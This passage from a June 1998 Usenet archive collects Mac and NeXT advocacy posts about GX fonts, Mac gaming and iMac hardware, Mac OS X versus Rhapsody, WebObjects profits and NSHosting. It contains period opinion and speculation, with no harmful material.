References: <jdoherty-1706980041270001@aus-tx17-17.ix.netcom.com> <B1ACC7FF-21596@206.165.43.137>
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Lawson English wrote:
* What you both seem to have missed, even though I've
* said it several times,
Make that "too many times" . . .
* is that MacOS X's native text engine uses GX fonts
* out-of-the-box. ANY app that has been Carbonized
* will be using the ATSUI engine, and therefore will
* be able to use GX fonts.
Where are the GX fonts coming from? In the sense of, what
font houses are currently creating GX fonts?
........ Henry
=============================================================
Henry McGilton | Trilithon Software, and,
Boulevardier, Java Composer | Pacific Research and Trading
-----------------------------+-------------------------------
mailto:henry@trilithon.com | http://web.trilithon.com
=============================================================
From: rmcassid@uci.edu (Robert Cassidy)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Games and the consumer market.
Date: Wed, 17 Jun 1998 08:39:22 -0700
Organization: UC Irvine, School of Engineering
Message-ID: <rmcassid-1706980839220001@dante.eng.uci.edu>
References: <6m5048$189$1@nnrp1.dejanews.com> <B1AC8320-30EEA@209.152.194.60> <6m80i7$iul$1@nnrp1.dejanews.com>
In article <6m80i7$iul$1@nnrp1.dejanews.com>, quinlan@intergate.bc.ca wrote:
>I agree that there a good Mac games but Apple should still be doing back flips
>to get more game developers to port their wares to the Mac.
The best thing that they can do is guarantee a sale. Bundle it. Which
seems to be the plan...
-Bob Cassidy
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Games and the consumer market.
Date: 17 Jun 1998 10:36:52 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6m8684$dbl$6@ns3.vrx.net>
References: <6m5048$189$1@nnrp1.dejanews.com> <B1AC8320-30EEA@209.152.194.60>
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Cc: parthur@NoSpamop.net
In <B1AC8320-30EEA@209.152.194.60> "Paul Arthur" claimed:
> I would readily agree with what you're saying, and perhaps we'll never see
> these ported over. But I had to take some issue with what Maury was
> saying, that the Mac gaming world was in a death spiral from which it would
> never recover (or something to that effect).
I'm sorry, but I said nothing of the sort. I said Mac gaming it currently
dead - a statment I still believe is overhelmingly the case. I don't think
it _has_ to remain that way, but I see little to suggest it's changing, nor
to suggest Apple is doing anything to fix this other than attempt to market
it's way out of the problem. If the iMac's games sales are slow, then maybe
it really is dead.
Maury
From: rmcassid@uci.edu (Robert Cassidy)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Games and the consumer market.
Date: Wed, 17 Jun 1998 08:38:41 -0700
Organization: UC Irvine, School of Engineering
Message-ID: <rmcassid-1706980838410001@dante.eng.uci.edu>
References: <358537F3.66478A32@spamtoNull.com> <B1AAA8E4-604C8@206.165.43.126> <slrn6ob60k.5nf.sal@panix3.panix.com> <3585ECD3.59D2CFF3@spamtoNull.com> <slrn6oc005.8be.sal@panix3.panix.com> <see-below-1606982231010001@dynamic2.pm04.mv.best.com>
In article <see-below-1606982231010001@dynamic2.pm04.mv.best.com>,
see-below@not-my-address.com (Matthew Vaughan) wrote:
>In article <slrn6oc005.8be.sal@panix3.panix.com>, sal@panix3.panix.com
>(Salvatore Denaro) wrote:
>> It's I-Mac, with the I standing for Internet. Not G-Mac. Gaming is secondary
>> to it's role.
>
>Okay, this is an interesting theory, but the fact is home computer users
>spend more money, and probalby more time, on games than on internet
>software. About 50% of home softare purchases are games or edutainment
>software, but only a relatively small proportion of people are even
>connected to the internet (though that will undoubtedly grow). In
>addition, one of the fastest-growing areas of gaming and the internet is
>3D gaming against other people on the internet.
Whoops - leap of logic made there...
There is a reason why 50% of software purchases are games or edutainment -
they depreciate. The more you play a game, the more the 'shine' wears off
and you long for a new game. That's how entertainment works - its
self-depreciating. But if you compare how much _time_ people spend using
their computers, I wouldn't be surprised if Quicken, IE, and Eudora were
up at the top for home usage. I play games as well, but I do more Quicken,
email, and web surfing than I do games, generally. And if you throw my
wife into the equation, there's no question that it works out that way.
Edutainment probably favors the iMac. Edutainment titles are more likely
Quicktime based and tend to not need all the twitch hardware. Internet
gaming is a little less likely to need the twitch hardware as well due to
the bottleneck surrounding the network connection.
>The Rage II slated for the iMac is "ok" for 2D, and basically worthless
>for 3D. (ie, most 3D games can't use it at all, and you're left running in
>software-only). Rage Pro is not bad, at either 2D or 3D (of course this
>varies significantly depending on the game).
I thought it was getting Pro?
>> BTW, 3d hardware could be added to the DAV port and run at 66mhz and 64bits
>> wide, FAIK. Or maybe the DAV port will be used for firewire. Apple hasn't
>> said anything. Maybe a PlayStation card?
>
>Which port is this? I don't remember hearing about anything like this
>being on the iMac.
There *does* seem to be an additional port on the machine, but there is no
indication at this time that it will be used for anything.
-Bob Cassidy
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Mac OS X Confusion
Date: 17 Jun 1998 10:33:44 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6m8628$dbl$4@ns3.vrx.net>
References: <6lvsob$ni$1@supernews.com> <6m2uto$b7k$1@ns3.vrx.net>
<35862ad9.0@206.25.228.5> <6m6d9h$8d81@odie.mcleod.net>
<slrn6odnt9.ckr.sal@panix3.panix.com> <6m68ie$fg$1@ns3.vrx.net>
<6m6u1h$o8d$1@cronkite.cygnus.com> <6m6gbe$fg$5@ns3.vrx.net>
<35878565.0@206.25.228.5>
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Cc: jkheit@xtdl.com
In <35878565.0@206.25.228.5> John Kheit claimed:
> > In <6m6uf2$o8d$2@cronkite.cygnus.com> John Rudd claimed:
> > > While Solaris is not as "high availability" as a Stratus box,
> > > it is still used in high end servers.. one kernel binary is
> > > quite configurable for a wide range of deployment options.
> > > But it is still "the same mach kernel" for any of those 3 cases.
>
> maury@remove_this.istar.ca (Maury Markowitz) wrote:
> > But not in the case of the original message.
>
> maury@remove_this.istar.ca (Maury Markowitz) wrote:
> > I think you're missing my point. My point is that a client OS
> > and a server OS are not the same thing. That was the claim.
>
> > John Kheit wrote in message <35862ad9.0@206.25.228.5>...
> > >It's the same mach kernel.
You seem to want to point something out there, but if that's the case I
can't see it. Let's work backwards...
You stated that "it's the same mach kernel". This is not true, MacOS-X and
Rhapsody are using radically different kernels. I don't particularily think
this will have an effect on the ability to scale (the opposite is the likely
case, 3 should scale MUCH better), but nevertheless your statement is
incorrect.
Then it appears you are attempting to justify that statement (the one at
the bottom) with the statement at the top. That statement is also incorrect
however. Solaris is not Mach based, it's a SysV mon-kernel (I believe that's
why you quoted it). Nor do you run the same kernel image across their
servers to desktops - Solaris comes in no less than three different versions
currently (the base 2.6, Solaris for Intranets, and Solaris for ISP's), each
with their own loads, and if the security sections are to be believed, their
own modified kernels.
I don't know why you responded with just hostility towards my post, but I
stand by my comments.
Maury
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Mac OS X Confusion
Date: 17 Jun 1998 10:34:04 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6m862s$dbl$5@ns3.vrx.net>
References: <6lvsob$ni$1@supernews.com> <6m2uto$b7k$1@ns3.vrx.net>
<35862ad9.0@206.25.228.5> <6m6d9h$8d81@odie.mcleod.net>
<3586e401.0@206.25.228.5> <6m6vpk$79c1@odie.mcleod.net>
<35878bc2.0@206.25.228.5>
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Cc: jkheit@xtdl.com
In <35878bc2.0@206.25.228.5> John Kheit claimed:
> However, it seems to me, that tuning a kernel and other layers of
> the OS can be done through a preferences mechanism setting different
> numbers of buffers, and other parameters.
You can turn THAT kernel in this fashion sure, but that doesn't turn a RT
OS into a PMT one. There's more than one kernel in the world for a reason,
and the fact that Solaris works on servers is not a terribly important point
- something else might work a lot better.
> But that the mach kernel itself, the binary, i.e. mach3.0 (the base
> and core OS) is ept at being both a client and server OS (scalability
> up the wazoo if you like).
I'm sure it can, the AD work has in fact distributed the kernel across
multiple machines into n-way compute node single kernel images. That still
doesn't imply that server kernels make good desktops, or vice versa.
> Hmm, I'm not sure I considered them part of the OS proper, but
> that's just semantics I guess. I think the standard BSD 4.4 stuff
> that will come with OSX
If you can provide a list of what will come with OS-X, I for one would LOVE
to see it. Personally I predict that POP, SMTP, most of the shell utils,
NFS, NIS and most of the other components will be missing, and provided in
another package.
> Well, I of course agree with you that many basic/essential tools
> need to be there from the getgo. I believe this will be provided
> in OSX via the BSD layer and base tools. Also likely through the
> base OPENSTEP admin tools. That being there, of course will not
> end things. People will still need to suppliment the above with
> many other tools. I mean you can't provide *all* the tools everyone
> will need.
The real issue is whether or not MacOS-X will include even a reasonable
subset. OpenStep currently does, but by no means does that imply that X
will.
Maury
From: Jonathan W Hendry <jhendry@shrike.depaul.edu>
Subject: Re: So THAT is the OS stratetgy?
Newsgroups: comp.sys.next.advocacy
References: <*johnnyc*-1506980054340001@jchristie.halifaxcable.dal.ca> <B1A9ED45-3B7DF@206.165.43.122> <6m2gro$cci$1@news.digifix.com> <6m2nh8$irr$3@bolivia.it.earthlink.net> <3585477a.0@news.depaul.edu> <6m45j1$nun$1@suriname.it.earthlink.net> <6m620a$d9i$2@news.spacelab.net> <6m7hd9$549$1@argentina.it.earthlink.net>
Message-ID: <3587eabd.0@news.depaul.edu>
Date: 17 Jun 98 16:11:41 GMT
Ziya Oz <ziyaoz@earthlink.net> wrote:
> "Charles W. Swiger" <chuck@codefab.com> wrote:
> >> Wishful thinking, but $2M is ALL the *profit* the entire WebObjects
> >> operation had.
> >
> >References?
>Apple WO people in a public seminar on WO -- to underline that WO was a profit
>center, not likely to be dropped and could spin off, if need be.
Did that include *only* the profits from software sales, or did
that also include consulting, support, and training revenue?
Also, $4 million a year in *profit* isn't bad at all, considering
that it's coming from corporate sales of an inherently low-volume
product.
If they made $2 million in profit during that period, that implies that
WO is bringing in several million more in revenues.
--
"... and subpoenas for all." - Ken Starr
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Preemptable Window Manager?
Date: 17 Jun 1998 11:20:25 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6m88pp$dbl$8@ns3.vrx.net>
References: <Pine.SOL.3.96.980616143046.20684A-100000@ux9.cso.uiuc.edu> <B1AC359D-15AF1B@206.165.43.13>
<petrichEuoqnA.131@netcom.com>
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Cc: petrich@netcom.com
In <petrichEuoqnA.131@netcom.com> Loren Petrich claimed:
> >Some of us could see it then. Eric King's idea of using GX to produce a
> >Windows Manager that supported pre-emptive multi-tasking was proposed
> >months before the NeXT purchase was announced.
Eric's idea? How short your memory is, WE (as in YOU and I) suggested this
in c.s.m.a even earlier when Copeland was a going concern.
> With the exception of the QDGX part, that's a fair assessment.
> Apple's plans are for the window manager to be independent of whatever
> renderers are used
It has to be, YB relies on that.
Maury
From: jmz@southwind.net
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: NSHosting VS M$'s WTS
Date: Tue, 16 Jun 1998 09:29:46 +0000
Organization: None
Message-ID: <35863B09.1481@southwind.net>
References: <3586F991.54A4@rs6000.cmp.ilstu.edu>
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Eric A. Dubiel wrote:
>
> Well, Apple is screwing itself, as it could've been the market leader
> with Rhapsody & OS X in remote computing...but it removed the
> client/server functionality now... :(
>
> The Windows Terminal Server (WTS) is overpriced, and the NSHosting in
> NEXTSTEP/OPENSTEP for MACH was basically freely included.
>
> "A typical 15 user-based installation of Terminal Server Edition will
> cost about $4,600, according to John Frederiksen, a group product
> manager at Microsoft."
>
> Apple could've made a HUGE splash, but once again is acting
> incomprehensibly. This kind of functionality REALLY SHOULD BE BUILT
> INTO THE OS!!! Like UNIX/X11!!!
>
> See:
> http://www.news.com/News/Item/0,4,23206,00.html?st.ne.fd.gif.d
If you need remote computing,why not just run Unix and be done with it?
From: rmcassid@uci.edu (Robert Cassidy)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Rhapsody! Oh no! They've Osborned Rhapsody!
Date: Wed, 17 Jun 1998 09:07:24 -0700
Organization: UC Irvine, School of Engineering
Message-ID: <rmcassid-1706980907240001@dante.eng.uci.edu>
References: <1daqn7l.1gvycs7414ru6N@dialup116-1-29.swipnet.se> <B1AC4CB9-13EA4@206.165.43.4> <6m72rr$8q5$1@cronkite.cygnus.com> <6m8jqk$7rv@news-central.tiac.net>
In article <6m8jqk$7rv@news-central.tiac.net>, "Raffael Cavallaro"
<raffael@pop.tiac.net> wrote:
>Yeah, but the bright side is that, at current development rates, MacOS 11
>won't ship until 2009, so your G3 Mac will run all of Apples OS offering for
>a full decade! Frankly, I'd be *very* surprised if MacOS X ships before the
>end of 1999, but then, I remember Copland, and Pink, and Dylan, and ...
Apple's been dead on with their MacOS releases since and including 8.0. I
have *no* doubt that OS 9 and X will ship in a timely fashion. And, if you
are looking at development rates - 8, 9, and X will have shipped within a
2 year window. So 11 would seem likely for 2000 or 2001.
-Bob Cassidy
From: Jonathan W Hendry <jhendry@shrike.depaul.edu>
Subject: Re: So THAT is the OS stratetgy?
Newsgroups: comp.sys.next.advocacy
References: <*johnnyc*-1506980054340001@jchristie.halifaxcable.dal.ca> <B1A9ED45-3B7DF@206.165.43.122> <6m2gro$cci$1@news.digifix.com> <6m2nh8$irr$3@bolivia.it.earthlink.net>
Message-ID: <3587f34c.0@news.depaul.edu>
Date: 17 Jun 98 16:48:12 GMT
Ziya Oz <ZiyaOz@earthlink.net> wrote:
> sanguish@digifix.com (Scott Anguish) wrote:
> >Sorry Lawson, but YB is essential to a major money making
> >beast at Apple, WebObjects..
> I have yet to see anyone from Apple refute the assertion that WebObjects (a
> $40-$50M operation) contributed about $2M of profit to Apple's bottom line in
> the last two quarters.
So, in other words, WebObjects brought in $22-$27M in revenue for
those two quarters. Not bad.
> In that sense, though it would be a shame of the first order, WebObjects is
> *not* immune to being dropped by Apple by any means.
It's profitable, a rare thing at Apple. Why would they drop it? Apple's
profits as a whole aren't very big, either. $2 million of profit isn't
chump change when you're only getting $70-$80M total profit. It took
a lot of Macs to match that little bit of WO profit.
Let's see. Apple is doing about $1.5B in revenue per quarter. Their
entire profit for the last two quarters was about $90M. Of that,
$2M came from WebObjects. So, they spent $25M for that $2M in
profit, and they spent $2.975B for the other $88M of profit. Put
another way, the non-WebObjects profits are 2.5 times as expensive.
If all of Apple's $3.0B revenue came from WebObjects, they would
have made a profit of $240M, not $90M.
In other words, Apple gets a better ROI from WebObjects than
from Macs. 8% versus 3%.
I find it very hard to believe that they're spending $40-$50M on
WebObjects. I really doubt they were spending that much on it
at NeXT. If they really *are* spending that much money, it's
likely to be a bunch of new people in the WO organization, brought in
to do new sales and development.
Logically, there's bound to be a sizeable lag before profits rise to
match the added expenses. Without those new hires, profits would be
quite a bit larger, but at the cost of future sales.
--
"... and subpoenas for all." - Ken Starr
From: j-jahnke@uchicago.edu (Jerome Jahnke)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: GX vs PS (was Re: Howabout Something Better than what we have now?)
Date: Wed, 17 Jun 1998 11:31:06 -0500
Organization: Tormenta Software
Message-ID: <j-jahnke-1706981131060001@dapple.tormenta.com>
References: <ldo-1006981653480001@a53.hn3.wave.co.nz> <6lnre7$bes$1@news.cs.tu-berlin.de> <ldo-1106982011210001@a7.hn3.wave.co.nz> <jdoherty-1506982140300001@aus-tx22-16.ix.netcom.com> <j-jahnke-1506982306430001@dapple.tormenta.com> <jdoherty-1606982001120001@aus-tx17-17.ix.netcom.com> <j-jahnke-1706980222270001@dapple.tormenta.com> <jdoherty-1706980305430001@aus-tx17-17.ix.netcom.com>
In article <jdoherty-1706980305430001@aus-tx17-17.ix.netcom.com>,
jdoherty@ix.netcom.com (John Doherty) wrote:
> | I just print stuff out at work on a duplex printer
>
> That is without a doubt the best way to get what you want to do done.
> Didn't I point that out a couple of years ago?
Yup, before I had a duplex printer at work. And while I still needed
documents printed.
Jer,
From: rmcassid@uci.edu (Robert Cassidy)
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Wed, 17 Jun 1998 09:27:54 -0700
Organization: UC Irvine, School of Engineering
Message-ID: <rmcassid-1706980927540001@dante.eng.uci.edu>
References: <rmcassid-1205982352010001@dialin33423.slip.uci.edu> <6jk64c$vo9$1@strato.ultra.net> <rmcassid-1805981307530001@dante.eng.uci.edu> <tvyg1i6unnj.fsf@cn1.connectnet.com> <6jtgie$vp6$6@ligarius.ultra.net> <35d0ab0c.360543981@news.supernews.com> <6k6tda$omk$1@ligarius.ultra.net> <357a9125.86089126@news.supernews.com> <6l72if$mp9$1@news.smart.net> <6lfsck$1vga@yuma.ACNS.ColoState.EDU> <357C032E.C373357D@nstar.net> <3591af5a.5318472@news.supernews.com> <357DEB64.6B62@CONVEX.COM> <35967e0e.17663365@news.supernews.com> <35800D69.C7F8B8E1@nstar.net> <6lpvl2$26g6@yuma.ACNS.ColoState.EDU> <35809E8C.8E3F239A@nstar.net> <rmcassid-1206980004350001@dialin9229.slip.uci.edu> <358130D4.372EFBEB@nstar.net> <rmcassid-1206981443290001@dante.eng.uci.edu> <3581B5E4.27A5303B@nstar.net> <rmcassid-1306980235180001@dialin33422.slip.uci.edu> <rmcassid-1506981103570001@dante.eng.uci.edu> <joe.ragosta-1706980857500001@wil36.dol.net>
In article <joe.ragosta-1706980857500001@wil36.dol.net>,
joe.ragosta@dol.net (Joe Ragosta) wrote:
>> I learned yesterday that a bill was once introduced in Maine in the early
>> part of this century that would have made it illegal to add tomatoes to
>> clam chowder in that state. Defeated, of course.
>
>What do you mean "of course"? Adding tomatoes to clam chowder _ought_ to
>be illegal.
>
>;-)
Well, as I grew up both in New England and in New York, I think I can
state with some authority here that I agree with you 100%. But illegal?
Naw. It's merly immoral.
I terribly miss good seafood. Southern California just doesn't cut it,
IMO. It's been 7 years and 19 days since I last had lobster - in Maine,
for breakfast, butter warmed on the hood of the car. Somedays I'm just
amazed I can still function properly knowing I've gone this long...
-Bob Cassidy
From: "Todd Heberlein" <todd@NetSQ.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: NSHosting VS M$'s WTS
Date: 17 Jun 1998 16:39:28 GMT
Organization: Net Squared, Inc.
Message-ID: <01bd9a0e$446a9fe0$04387880@test1>
References: <3586F991.54A4@rs6000.cmp.ilstu.edu>
Eric A. Dubiel <eadubie@rs6000.cmp.ilstu.edu> wrote
> Well, Apple is screwing itself, as it could've been the market leader
> with Rhapsody & OS X in remote computing...but it removed the
> client/server functionality now... :(
I am sure it wasn't a decision taken lightly.
> The Windows Terminal Server (WTS) is overpriced, and the NSHosting in
> NEXTSTEP/OPENSTEP for MACH was basically freely included.
I believe NSHosting exploited Display PostScript capability, and DPS
was not free. The costs were buried in the system cost, which everyone
was complaining was too high. More importantly, DPS would have
incurred a ~$20 license fee for every YellowBox application a developer
shipped for Windows.
Furthermore, I also believe only applications written in OpenStep could
have taken advantage of NSHosting, and there really was not a growing
market in that area. In short, the major applications most people have
been using on the Mac would not work.
> Apple could've made a HUGE splash, but once again is acting
> incomprehensibly. This kind of functionality REALLY SHOULD BE BUILT
> INTO THE OS!!! Like UNIX/X11!!!
I have my doubts. Certainly it didn't help NeXT all those years it had
the capability, and UNIX is hardly exploding because of this
capability.
Citrix (and now WTS) is really a blessing to Mac users in large
companies - it allows them to keep Macs on their desktops even when
other units in their organization are trying to force Windows-only
solutions down their throats. It buys Apple time.
I think Apple will examine the issue again, but it has other
priorities. Remember, Apple has *yet* to ship Rhapsody or MacOS X.
Lets get these out the door first.
Todd
From: John Jensen <jjens@primenet.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: MacWeek Article on Future of Rhapsody
Date: 17 Jun 1998 09:53:01 -0700
Organization: Primenet (602)416-7000
Message-ID: <6m8s9d$t22@nntp02.primenet.com>
References: <vik-0806981034470001@p20.hwts04.loop.net> <6lrcps$b9@nntp02.primenet.com> <6lrdjs$ks8$1@crib.corepower.com> <6lsf8c$6bc@nntp02.primenet.com> <6lvkg4$msk$1@crib.corepower.com> <6m0kg4$khs@nntp02.primenet.com>
<6m13tr$ndd$4@ironhorse.plsys.co.uk> <6m1eq1$hkq@nntp02.primenet.com> <6m8k50$5mq$2@ironhorse.plsys.co.uk>
mmalcolm crawford <malcolm@plsys.co.uk> wrote:
: In <6m1eq1$hkq@nntp02.primenet.com> John Jensen wrote:
: > It's a question of degree. "MacOS 8 is MacOS" to a much greater degree
: > than "Windows is DOS" or "OS/2 is Windows". I don't think lineage alone
: > answers the question. You probably have to judge how much of a paradigm
: > or domain shift has occured.
: >
: So why is "MacOS X is MacOS" a better description than "MacOS x is
: Rhapsody"; there is a lot less of a paradigm shift between MacOS and
: Rhapsody than between MacOS X and MacOS.
"MacOS X is Rhapsody" implies three things: present tense, equivalence,
and certainty. The question of equivalence is arguably in the eye of the
beholder, but we should agree that certainty and present tense are a
little ways off.
Actually the message I objected to went beyond the "[I expect] MacOS X
will be [much like] Rhapsody" stage:
Nathan G. Raymond <xray@cs.brandeis.edu> wrote:
: No signs MacOS X won't be Rhapsody with just the Carbon API's tacked on.
: Technically speaking, no biggie. By introducing Rhapsody and then
: changing names, it gives Apple a REALLY big window to play with.
Remember the kid's game of "telephone"? The message that "MacOS is
Rhapsody" gets passed down the advocacy line until there are "No signs"
that MacOS won't be Rhapsody with just a string change and Carbon APIs
tacked on.
Hence my question about binaries.
John
From: sal@panix3.panix.com (Salvatore Denaro)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Games and the consumer market.
Date: 17 Jun 1998 17:22:20 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <slrn6ofuqc.qg6.sal@panix3.panix.com>
References: <358537F3.66478A32@spamtoNull.com> <B1AAA8E4-604C8@206.165.43.126> <slrn6ob60k.5nf.sal@panix3.panix.com> <3585ECD3.59D2CFF3@spamtoNull.com> <slrn6oc005.8be.sal@panix3.panix.com> <see-below-1606982231010001@dynamic2.pm04.mv.best.com>
On Tue, 16 Jun 1998 22:31:01 -0700, Matthew Vaughan <see-below@not-my-address.com> wrote:
>In article <slrn6oc005.8be.sal@panix3.panix.com>, sal@panix3.panix.com
>> I don't know how well the ATI video compares to other video cards.
>> I doubt it is the fastest at either 3d or 2d, but I wouldn't be surprised if
>> was "just ok" in both.
>The Rage II slated for the iMac is "ok" for 2D, and basically worthless
>for 3D. (ie, most 3D games can't use it at all, and you're left running in
>software-only). Rage Pro is not bad, at either 2D or 3D (of course this
>varies significantly depending on the game).
Maybe Apple needs to provide tools to let software houses better use the Rage
chip. Or they need to move to another chip. Is there any reason why software
houses can not use the 3d features of the rage? Does ATI hinder it's use?
>> BTW, 3d hardware could be added to the DAV port and run at 66mhz and 64bits
>> wide, FAIK. Or maybe the DAV port will be used for firewire. Apple hasn't
>> said anything. Maybe a PlayStation card?
>Which port is this? I don't remember hearing about anything like this
>being on the iMac.
There are pictures of the motherboard up on the net somewhere. Tey point
out something called a "DAV" port on the motherboard. I don't know what this
is, but it is also in the AV Macs.
--
sal@panix.com
Salvatore Denaro
From: mNOSPAMroeder@macromedia.com (Michael Roeder)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Rhapsody! Oh no! They've Osborned Rhapsody!
Date: Wed, 17 Jun 1998 10:13:48 -0700
Organization: Macromedia
Message-ID: <mNOSPAMroeder-1706981013480001@192.168.21.168>
References: <3586B3E2.33590565@ctron.com>
In article <3586B3E2.33590565@ctron.com>, "A. J. LaSalle"
<alasalle@ctron.com> wrote:
> From http://macopinion.com/editorials/rhaposb.html
>
> What do people think about this opinion piece?
Mostly accurate. The 4" CRT was a 5 1/4" CRT. The RAM was maxed out at
64kB, not 32kB. (My Osborne still takes up space in the closet. Every few
years I take it out and play with Turbo Pascal to see if it still works. I
don't have the heart to throw it out.)
> From what I've read I guess that Rhapsody wasn't going
> to be a good MacOS platform, so Apple had to keep updating
> MacOS 8+ and fix rhapsody so it would be a good Mac citizen
> by transforming it into MacOSX. But it does seem like they
> are in quite a quandry. IF Apple was basically planning
> to dead end Rhapsody as a product line, then why did they talk
> about it at all. Seems that OS 8.5, 8.6 and 9.0 are going
> to be fairly good improvements. Couldn't they have done
> the MacOSX/Rhapsody demos/info sessions in a 'back room'
> format. Heck there isn't even a developers version of OSX yet.
> Why didn't they wait till the next WWDC to make a big deal
> about it (when it would be shipping in 6 months or so)?
No major developer wanted to write new software for a new OS that no one
knew how well it would sell. Apple finally g ot the right idea in putting
the Mac APIs we all know and love on top of the Mach kernel. I htink Aple
did the right thing in not keeping Carbon a secret. Apple wanted the
Rhapsody developers know now that that OS will be for servers and the
other developers to know now that the Mac APIs will still be useful. It
would have been foolish to let developers go on thinking that they'd have
to seriously rewrite their apps to continue running on Macs. (There will
not be a Mac OS9. OS-9 already exists from some other company.)
> Seems to me that the best thing for Mac Users would have been
> to put Carbon on top of the Copland kernel,
A project to put the tried-and-true Macintosh APIs on the Copland kernel
so that Mac developers could easily port their existing software to a new
OS was in the works a few years ago. Its code name was "Copland."
>made it 100% PPC
> native, put and end to 68k emulation and moved forward.
Uh, yeah. That's what Carbon is all about.
> Improvements to navigation, I/0 performance, PMT and PM,
> etc, would have put the MacOS on solid footing as a 'modern'
> desktop OS. Forget all this YB, BSD, uber OS stuff. Once
> they had something which formed a solid base (as a client),
> then they could look at what added features would be necessary
> to add middleware and server products on to. Seems to me that
> Apple's task today is to strengthen its
> client/workstation/consumer appeal - first and foremost.
Uh, yeah. That's what Carbon is all about.
> I don't really know what Apple should have done, and of
> course, that's now water under the bridge. I just wish
> that they could straighten things out for a change and put
> forward one simple, unambiguous plan. Your thoughts...
Uh, yeah. That's what Carbon is all about. But the message has been
confusing... : /
--
Michael Roeder -- mroeder at macromedia dot com
http://www.stopspam.org/usenet/faqs/faqs.html
From: mNOSPAMroeder@macromedia.com (Michael Roeder)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Rhapsody! Oh no! They've Osborned Rhapsody!
Date: Wed, 17 Jun 1998 10:18:39 -0700
Organization: Macromedia
Message-ID: <mNOSPAMroeder-1706981018390001@192.168.21.168>
References: <1daqn7l.1gvycs7414ru6N@dialup116-1-29.swipnet.se> <B1AC4CB9-13EA4@206.165.43.4> <6m72rr$8q5$1@cronkite.cygnus.com> <35872ab1.0@news.together.net> <6m7hq0$l34$1@flotsam.uits.indiana.edu>
In article <6m7hq0$l34$1@flotsam.uits.indiana.edu>,
glhansen@copper.ucs.indiana.edu (Gregory Loren Hansen) wrote:
> So what does it mean when something is "Osborned"?
It means to kill an existing product's sales by announcing a better
product before you're ready to sell it. Microsoft has even done this to
competitors.
(Saab, by the way, knew not to do this way back in the '60s. They were
about to release the Saab 96, so on a Friday they told their rally race
drivers to go out and win in the old Saab 95. On Saturday they did. On
Sunday they sold out all the old 95s. On Monday they introduced the 96.)
> --
> "Don't just do something, stand there!" - Buddah
That sounds like something that might be attributed to a Buddhist. :-) But
did Buddha actually say that?
--
Michael Roeder -- mroeder at macromedia dot com
http://www.stopspam.org/usenet/faqs/faqs.html
From: sal@panix3.panix.com (Salvatore Denaro)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Games and the consumer market.
Date: 17 Jun 1998 17:26:39 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <slrn6ofv2f.qg6.sal@panix3.panix.com>
References: <slrn6ob60k.5nf.sal@panix3.panix.com> <B1AB40B9-14887@206.165.43.221> <see-below-1606982225580001@dynamic2.pm04.mv.best.com> <rmcassid-1606982254440001@dialin9182.slip.uci.edu>
On Tue, 16 Jun 1998 22:54:43 -0800, Robert Cassidy <rmcassid@uci.edu> wrote:
>In article <see-below-1606982225580001@dynamic2.pm04.mv.best.com>,
>see-below@not-my-address.com (Matthew Vaughan) wrote:
>> Ack, that's even worse. Unplug your computer and lug it back to the store
>> and pay them to upgrade it?
>Why not? Most people do that with other products. How many people work on
>their own cars these days - remember, we're special. Apple is trying to
>appeal to non-geeks, and probably primarily parents and young women with
>the iMac.
If I had to bring my VCR with me when I rent movies, I wouldn't rent movies
at all. If I had to bring my computer to the store to upgrade it, it would
never get an upgrade.
BTW, the iMac's motherboard is on a "slide-out" tray.
--
sal@panix.com
Salvatore Denaro
From: embuck@palmer.cca.rockwell.com (Erik M. Buck)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Games and the consumer market.
Date: 17 Jun 1998 17:00:26 GMT
Organization: Rockwell International
Message-ID: <6m8sna$rcu4@onews.collins.rockwell.com>
References: <jdoherty-1306980132070001@aus-tx22-02.ix.netcom.com> <B1A80B74-46BBE@206.165.43.23>
<jdoherty-1406980213150001@san-tx3-06.ix.netcom.com> <slrn6o7p0o.sk2.sal@panix3.panix.com>
<35848D6B.B7C60F36@spamtoNull.com> <slrn6o9557.av9.sal@panix3.panix.com>
<njcosta-ya02408000R1506980112460001@news.earthlink.net> <6m30i7$b7k$5@ns3.vrx.net>
<cirby-1506981527110001@pm53-28.magicnet.net> <6m444r$rcu2@onews.collins.rockwell.com>
<joe.ragosta-1706980956050001@wil66.dol.net>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Cc: joe.ragosta@dol.net
In <joe.ragosta-1706980956050001@wil66.dol.net> Joe Ragosta wrote:
> In article <6m444r$rcu2@onews.collins.rockwell.com>,
